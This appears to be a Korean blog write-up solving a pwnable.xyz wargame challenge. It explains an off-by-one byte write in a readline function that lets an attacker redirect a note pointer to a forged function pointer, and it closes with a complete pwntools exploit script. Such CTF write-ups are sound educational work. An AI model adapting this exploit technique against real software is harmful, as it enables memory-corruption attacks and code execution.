이 바이너리에서 사용하는 note 구조체다. 존재 이유가 명확하지 않은 get_size 필드가 있다는 게 눈에 걸린다.
한 줄을 입력받기 위해 readline이라는 함수를 사용하는데 뭔가 이상한 점이 있다.
void __fastcall readline(char *buf, int size, char delim)
{ char d; // [rsp+0h] [rbp-20h] char c; // [rsp+13h] [rbp-Dh] int i; // [rsp+14h] [rbp-Ch] unsigned __int64 __canary; // [rsp+18h] [rbp-8h] d = delim; __canary = __readfsqword(0x28u); for ( i = 0; i < size; ++i ) { read(0, &c, 1uLL); if ( c == d ) break; buf[i] = c; } buf[i] = c; } |
반복문 밖에서 buf[i] = c; 를 실행한다. 만약 buf에 delim 문자가 존재하지 않는다면 buf[size] 에 원하는 값 1바이트를 쓸 수 있다.
case 4uLL:
printf("Notebook name: "); readline(nbook, 0x80, 10); break; |
4번 메뉴에서 readline으로 nbook에 0x80 크기만큼 쓸 수 있다.
.bss:0000000000602280 public nbook
.bss:0000000000602280 ; char nbook[128] .bss:0000000000602280 nbook db 80h dup(?) ; DATA XREF: main+28↑o .bss:0000000000602280 ; main+A2↑o .bss:0000000000602300 ; note *ptr .bss:0000000000602300 ptr dq ? ; DATA XREF: make_note+B9↑w .bss:0000000000602300 ; edit_note+4↑r ... |
nbook은 0x602280에 있다. 앞서 언급한 readline의 버그 때문에 ptr의 하위 1바이트를 조작할 수 있다.
void __fastcall make_note()
{ int size; // [rsp+4h] [rbp-Ch] note *note; // [rsp+8h] [rbp-8h] printf("size: "); size = read_int(); note = (note *)malloc(0x38uLL); note->note = (char *)malloc(size); note->size = size; note->get_size = get_size; printf("Title: "); readline(note->title, 0x1F, 10); printf("Note: "); readline(note->note, size, 10); ptr = note; } |
make_note에서 ptr과 ptr->note에 각각 0x38, size 크기를 할당한 chunk 주소를 넣는다.
void edit_note(void)
{ if ( ptr ) { if ( ptr->note ) { printf("note: "); readline(ptr->note, ptr->get_size(ptr), 10); } } } |
edit_note에서 ptr->get_size를 실행한다.
note->note를 적당히 크게 만들어준 뒤 win의 주소를 가득 채워주고 4번 메뉴로 ptr의 마지막 1바이트를 잘 움직이면 높은 확률로 win을 실행할 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
from pwn import *
import argparse def itob(i) : return str(i).encode() def MakeNote(size:int, title:bytes, note:bytes) : p.writelineafter(b'> ', b'1') p.writelineafter(b': ', itob(size)) p.writelineafter(b': ', title) p.writelineafter(b': ', note) def EditNote(note:bytes) : p.writelineafter(b'> ', b'2') p.writelineafter(b': ', note) def DeleteNote() : p.writelineafter(b'> ', b'3') def RenameNotebook(notebook:bytes) : p.writelineafter(b'> ', b'4') p.writeafter(b': ', notebook) def exploit() : p.writelineafter(b': ', b'A') MakeNote(0x110, b'A', p64(0x40092C)*0x20) RenameNotebook(b'\xF0'*0x80) EditNote(b'A') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30035) else : p = process('./challenge') exploit() |
Last update: 5/3/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Car shop (0) | 2020.05.06 |
---|---|
pwnable.xyz / words (0) | 2020.05.05 |
pwnable.xyz / nin (0) | 2020.05.02 |
pwnable.xyz / Dirty Turtle (0) | 2020.05.01 |
pwnable.xyz / Hero Factory (0) | 2020.05.01 |